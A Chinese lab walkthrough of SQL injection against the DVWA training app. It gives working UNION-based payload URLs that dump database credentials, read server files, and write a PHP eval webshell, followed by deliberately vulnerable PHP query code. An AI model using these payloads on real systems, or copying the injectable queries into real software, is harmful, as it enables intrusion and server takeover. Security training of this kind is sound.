[基本实验] Web漏洞演示系统中的SQL注入漏洞

首先选择SQL Injection的选项,在对话框中输入1,得到ID为1所对应用户的First name和Surname,可见均为admin。


判断此SQL查询语句所包含的列数,通过order by语句来判断。

http://[HOST]/dvwa/vulnerabilities/sqli/?id=1' order by 2 -- &Submit=Submit#
[基本实验] Web漏洞演示系统中的SQL注入漏洞_第1张图片


查看能够回显的位置,通过union语句来实现。

http://[HOST]/dvwa/vulnerabilities/sqli/?id=1' union select 1,2 -- &Submit=Submit#
可见1和2在网页中显示的位置。
[基本实验] Web漏洞演示系统中的SQL注入漏洞_第2张图片
查看数据库当前用户,数据库版本,数据库名称。利用的是SQL语句中的函数user(),database(),version()
http://[HOST]/dvwa/vulnerabilities/sqli/?id=1' union select 1,concat_ws(char(32,58,32),user(),database(),version()) -- &Submit=Submit#
从网页中的回显出可知,当前用户为root,数据库名称为dvwa,MySQL的版本为5.5.20

通过MySQL中的元数据表,可以得到数据库的很多信息,比如通过schemata表,得到当前数据库中所有的表
http://[HOST]/dvwa/vulnerabilities/sqli/?id=1' union select 1,schema_name from information_schema.schemata -- &Submit=Submit#
可见当前数据库系统中存在5个数据库,其中就包含本web程序的数据库dvwa
[基本实验] Web漏洞演示系统中的SQL注入漏洞_第3张图片
也可以试着得到当前数据库系统的用户名和密码
http://[HOST]/dvwa/vulnerabilities/sqli/?id=1' union select 1,concat(user,':',password) from mysql.user -- &Submit=Submit#
可见用户名为root,密码为空。即MySQL的默认用户名和密码。

也可以利用此漏洞查看系统中的文件,比如要查看PHP的配置文件php.ini,可以构造如下URL:
http://[HOST]/dvwa/vulnerabilities/sqli/?id=1' union select 1,load_file('C:/wamp/bin/php/php5.3.10/php.ini') -- &Submit=Submit#
可见文件中的内容在网页中被显示出来。
[基本实验] Web漏洞演示系统中的SQL注入漏洞_第4张图片
在Web渗透的过程中,还可能通过此漏洞向系统中写入webshell,在本次实验中,将一句话木马写到Web系统的根目录下。
http://[HOST]/dvwa/vulnerabilities/sqli/?id=1' union select 1,'<?php @eval($_POST[cmd]);?>' into outfile 'C:/wamp/www/dvwa/webshell.php' -- &Submit=Submit#
此处我们把一句话的php代码写到名为webshell.php的文件中作为木马文件。
随后用一句话木马客户端连接此文件,配置过程如下:
[基本实验] Web漏洞演示系统中的SQL注入漏洞_第5张图片
随后就可控制服务器

[基本实验] Web漏洞演示系统中的SQL注入漏洞_第6张图片


后记,三种不同LEVEL的SQL注入

<?php     
#LOW LEVEL
if(isset($_GET['Submit'])){ 
    // Retrieve data 
    $id = $_GET['id']; 
    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 
    $num = mysql_numrows($result); 
    $i = 0; 
    while ($i < $num) { 
        $first = mysql_result($result,$i,"first_name"); 
        $last = mysql_result($result,$i,"last_name"); 
        echo '<pre>'; 
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; 
        echo '</pre>'; 
        $i++; 
    } 
} 
?>


<?php 
#MID LEVEL
if (isset($_GET['Submit'])) { 
    // Retrieve data 
    $id = $_GET['id']; 
    $id = mysql_real_escape_string($id); 
    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; 
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 
    $num = mysql_numrows($result); 
    $i=0; 
    while ($i < $num) { 
        $first = mysql_result($result,$i,"first_name"); 
        $last = mysql_result($result,$i,"last_name"); 
        echo '<pre>'; 
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; 
        echo '</pre>'; 
        $i++; 
    } 
} 
?>



<?php     
#HIGH LEVEL
if (isset($_GET['Submit'])) { 
    // Retrieve data 
    $id = $_GET['id']; 
    $id = stripslashes($id); 
    $id = mysql_real_escape_string($id); 
    if (is_numeric($id)){ 
        $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 
        $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 
        $num = mysql_numrows($result); 
        $i=0; 
        while ($i < $num) { 
            $first = mysql_result($result,$i,"first_name"); 
            $last = mysql_result($result,$i,"last_name"); 
            echo '<pre>'; 
            echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; 
            echo '</pre>'; 
            $i++; 
        } 
    } 
} 
?>


你可能感兴趣的:([基本实验] Web漏洞演示系统中的SQL注入漏洞)